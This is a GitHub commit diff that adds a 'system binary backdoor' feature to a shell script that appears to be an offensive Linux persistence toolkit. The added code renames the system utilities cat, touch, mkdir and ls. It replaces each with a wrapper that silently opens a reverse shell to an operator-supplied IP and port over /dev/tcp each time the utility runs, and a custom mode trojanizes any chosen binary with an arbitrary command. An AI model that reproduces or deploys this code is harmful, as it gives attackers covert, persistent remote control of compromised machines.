Skip to content

Commit

Permalink
Added backdoor binary
Browse files Browse the repository at this point in the history
  • Loading branch information
Aegrah committed Jun 18, 2024
1 parent 75392dd commit 052c0f9
Showing 1 changed file with 115 additions and 0 deletions.
115 changes: 115 additions & 0 deletions src/alpha.sh
Original file line number Diff line number Diff line change
Expand Up @@ -197,6 +197,13 @@ usage_root() {
echo " --architecture <arch> Specify architecture (x86 or x64)"
echo " --custom Use custom bind shell binary"
echo " --binary <binary> Specify the path to the custom binary"
echo " --system-binary-backdoor Set up a system binary backdoor"
echo " --default Use default binary backdoor settings"
echo " --ip <ip> Specify IP address"
echo " --port <port> Specify port number"
echo " --custom Use custom binary backdoor settings"
echo " --binary <binary> Specify the binary to backdoor"
echo " --command <command> Specify the command to execute"
}

setup_systemd() {
Expand Down Expand Up @@ -1753,6 +1760,109 @@ setup_bind_shell() {
fi
}

setup_system_binary_backdoor() {
local default=0
local custom=0
local warning=0
local ip=""
local port=""
local binary=""
local command=""

while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--warning )
warning=1
;;
--ip )
shift
ip=$1
;;
--port )
shift
port=$1
;;
--binary )
shift
binary=$1
;;
--command )
shift
command=$1
;;
* )
echo "Invalid option for --system-binary-backdoor: $1"
exit 1
esac
shift
done

if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
exit 1
fi

if [[ $default -eq 0 && $custom -eq 0 ]]; then
echo "Error: Either --default or --custom must be specified."
exit 1
fi

if ! check_root; then
echo "Error: This function can only be run as root."
exit 1
fi

if [[ $default -eq 1 ]]; then
if [[ -z $ip || -z $port ]]; then
echo "Error: --ip and --port must be specified when using --default."
exit 1
fi

local binaries=("cat" "touch" "mkdir" "ls")

for bin in "${binaries[@]}"; do
if command -v $bin &> /dev/null; then
local path=$(command -v $bin)
mv $path $path.original
echo -e '#!/bin/bash\n/bin/bash -c "bash -i >& /dev/tcp/'$ip'/'$port' 0>&1 2>/dev/null &"\n'$path'.original "$@"' > $path
chmod +x $path
echo "[+] $bin backdoored successfully."
else
echo "[-] $bin is not present on the system."
fi
done

elif [[ $custom -eq 1 ]]; then
if [[ -z $binary || -z $command ]]; then
echo "Error: --binary and --command must be specified when using --custom."
exit 1
fi

if [[ $warning -eq 0 ]]; then
echo "Error: --warning must be specified when using --custom."
echo "Warning: this will overwrite the original binary with the backdoored version."
echo "You better know what you are doing with that custom command!"
exit 1
fi

if command -v $binary &> /dev/null; then
local path=$(command -v $binary)
mv $path $path.original
echo -e '#!/bin/bash\n'$command' 2>/dev/null\n'$path'.original "$@"' > $path
chmod +x $path
echo "[+] $binary backdoored successfully."
else
echo "[-] $binary is not present on the system."
fi
fi
}

main() {
local QUIET=0

Expand Down Expand Up @@ -1890,6 +2000,11 @@ main() {
shift
setup_bind_shell "$@"
exit
;;
--system-binary-backdoor )
shift
setup_system_binary_backdoor "$@"
exit
;;
* )
echo "Invalid option: $1"
Expand Down

0 comments on commit 052c0f9

Please sign in to comment.